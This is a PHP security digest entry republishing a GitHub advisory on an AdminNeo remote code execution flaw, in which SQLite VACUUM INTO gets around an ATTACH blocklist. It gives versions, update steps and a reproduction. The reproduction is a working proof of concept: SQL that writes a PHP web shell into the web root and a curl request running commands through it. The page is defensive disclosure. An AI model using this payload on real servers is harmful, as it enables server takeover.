PatchClock

PHP security digest · 30 Oct 2026

AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)

High CVE-2026-96630

Package
adminneo-org/adminneo
Fixed in
5.5.1
Published
Fri 30 Oct 2026, 22:51 Lisbon
Installs on Packagist
291

In plain words

An authenticated SQLite user can bypass AdminNeo's query blocklist to create a file containing attacker-controlled PHP code. If they can write that file to the web root, they can execute commands on the server.

Affected versions

PackageAffectedFixed in
adminneo-org/adminneo< 5.5.15.5.1

Am I affected?

Check composer.lock for adminneo-org/adminneo at a version below 5.5.1, which is the fixed version. Check whether AdminNeo allows SQLite logins and SQL commands, and whether its process can write files to the web root. The flaw uses a feature available since SQLite 3.27.0, so also check the SQLite version used by AdminNeo.

What to do

Check which version you have, then update to a fixed release for your branch (5.5.1):

composer show adminneo-org/adminneo | grep versions
composer update adminneo-org/adminneo

If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.

The advisory's description

Summary

Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.

Originally reported in Adminer: GHSA-q4f2-39gr-45jh

Root Cause

sql.inc.php, line 146:

if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    // blocked
}

Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.

Steps To Reproduce

1. Login to SQLite

  1. Open AdminNeo and select driver: SQLite
  2. Login and create a new database (e.g., stage.db)

2. Inject PHP code and write the shell

Navigate to SQL command and execute:

CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';

The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.

3. Execute commands

curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)

Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Reported by vrana.

The advisory

From OSV.dev, which gathers the GitHub Advisory Database, FriendsOfPHP and Drupal security advisories; the summary is theirs. The description, affected versions, weakness and credits are from the GitHub Advisory Database (CC BY 4.0). "In plain words", "Am I affected?" and "If you cannot update yet" are based on that advisory, and checked to name no version it does not.